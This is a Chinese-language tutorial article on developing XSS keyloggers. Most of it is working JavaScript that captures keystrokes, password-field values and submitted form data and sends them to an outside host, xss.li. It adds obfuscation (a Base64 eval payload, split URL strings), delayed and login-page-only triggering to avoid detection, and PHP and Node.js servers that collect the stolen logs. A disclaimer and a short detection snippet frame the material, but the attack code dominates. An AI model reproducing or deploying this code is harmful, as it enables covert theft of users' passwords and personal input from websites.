XSS键盘记录器开发与应用

20分钟阅读 | 攻击技术

法律警告

未经授权部署键盘记录器是严重违法行为!本文内容仅用于安全研究和授权的渗透测试。

一、键盘记录器原理

XSS键盘记录器通过JavaScript监听键盘事件,记录用户输入并发送到攻击者服务器。

1.1 工作流程

二、基础实现

2.1 简单版本

// 最简单的键盘记录器
var keys = '';

document.addEventListener('keypress', function(e) {
    keys += e.key;
    
    // 每20个字符发送一次
    if (keys.length >= 20) {
        new Image().src = 'https://xss.li/log?k=' + encodeURIComponent(keys);
        keys = '';
    }
});

2.2 增强版本

// 完整的键盘记录器
(function() {
    var log = '';
    var sessionId = Math.random().toString(36).substr(2, 9);
    var lastSend = Date.now();
    
    // 监听所有键盘事件
    document.addEventListener('keydown', function(e) {
        var key = e.key;
        
        // 处理特殊按键
        if (key === 'Enter') key = '[ENTER]';
        else if (key === 'Backspace') key = '[BACKSPACE]';
        else if (key === 'Tab') key = '[TAB]';
        else if (key === 'Shift') key = '[SHIFT]';
        else if (key === 'Control') key = '[CTRL]';
        else if (key === 'Alt') key = '[ALT]';
        else if (key.length > 1) return; // 忽略其他功能键
        
        log += key;
        
        // 定时发送(每5秒或50个字符)
        if (log.length >= 50 || Date.now() - lastSend > 5000) {
            sendLog();
        }
    });
    
    // 页面卸载时发送剩余数据
    window.addEventListener('beforeunload', function() {
        if (log.length > 0) sendLog();
    });
    
    function sendLog() {
        if (log.length === 0) return;
        
        fetch('https://xss.li/api/keylog', {
            method: 'POST',
            mode: 'no-cors',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({
                session: sessionId,
                url: location.href,
                keys: log,
                timestamp: new Date().toISOString()
            })
        });
        
        log = '';
        lastSend = Date.now();
    }
})();

三、密码字段专项监听

3.1 监听密码输入框

// 专门监听密码框
document.querySelectorAll('input[type="password"]').forEach(function(input) {
    input.addEventListener('keyup', function() {
        var data = {
            field: input.name || input.id,
            value: input.value,
            url: location.href
        };
        
        fetch('https://xss.li/api/password', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify(data)
        });
    });
});

3.2 表单提交拦截

// 拦截表单提交
document.querySelectorAll('form').forEach(function(form) {
    form.addEventListener('submit', function(e) {
        var formData = {};
        
        form.querySelectorAll('input').forEach(function(input) {
            formData[input.name] = input.value;
        });
        
        // 发送表单数据
        fetch('https://xss.li/api/formdata', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify({
                url: location.href,
                formData: formData,
                timestamp: Date.now()
            })
        });
    });
});

四、隐蔽性优化

4.1 混淆代码

// 使用eval和Base64混淆
eval(atob('ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLGZ1bmN0aW9uKGUpe25ldyBJbWFnZSgpLnNyYz0naHR0cHM6Ly94c3MubGkvbG9nP2s9JytlLmtleX0p'));

// 字符串拆分
var url = ['ht', 'tps:', '//xs', 's.li', '/log'].join('');

// 动态构建
var s = String.fromCharCode(100,111,99,117,109,101,110,116); // "document"

4.2 延迟加载

// 延迟30秒后才开始记录
setTimeout(function() {
    // 键盘记录代码
}, 30000);

// 或在用户交互后激活
var activated = false;
document.addEventListener('click', function() {
    if (!activated) {
        activated = true;
        // 启动键盘记录
    }
}, {once: true});

4.3 条件触发

// 只在特定页面触发
if (location.pathname.includes('/login') || location.pathname.includes('/admin')) {
    // 启动键盘记录
}

// 只记录密码相关输入
if (document.querySelector('input[type="password"]')) {
    // 启动键盘记录
}

五、服务端实现

5.1 PHP接收端

<?php
// keylog-receiver.php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');

$data = json_decode(file_get_contents('php://input'), true);

if ($data && isset($data['keys'])) {
    $logFile = 'keylogs/' . $data['session'] . '.log';
    
    $entry = sprintf(
        "[%s] %s\nURL: %s\nKeys: %s\n\n",
        date('Y-m-d H:i:s'),
        $_SERVER['REMOTE_ADDR'],
        $data['url'],
        $data['keys']
    );
    
    file_put_contents($logFile, $entry, FILE_APPEND);
    
    // 发送邮件通知
    if (strlen($data['keys']) > 100) {
        mail('admin@example.com', 'Keylog Alert', $entry);
    }
}

echo json_encode(['status' => 'ok']);
?>

5.2 Node.js接收端

// keylog-server.js
const express = require('express');
const fs = require('fs');
const app = express();

app.use(express.json());

app.post('/api/keylog', (req, res) => {
    const { session, url, keys, timestamp } = req.body;
    
    const logEntry = `[${timestamp}] ${req.ip}
URL: ${url}
Keys: ${keys}

`;
    const logFile = `logs/${session}.log`;
    
    fs.appendFile(logFile, logEntry, err => {
        if (err) console.error(err);
    });
    
    res.json({ status: 'ok' });
});

app.listen(3000);

六、防御措施

6.1 防止XSS注入

6.2 检测键盘记录器

// 检测可疑的事件监听器
var listeners = getEventListeners(document);
if (listeners.keydown || listeners.keypress || listeners.keyup) {
    console.warn('检测到键盘事件监听器!');
}

6.3 用户端防护

总结

键盘记录器是XSS攻击中高危害的利用方式,关键点:

  1. 监听键盘事件获取输入
  2. 优化隐蔽性避免检测
  3. 可靠的数据传输机制
  4. 服务端数据收集和分析
  5. 必须在授权环境下使用
上一篇 返回知识库 下一篇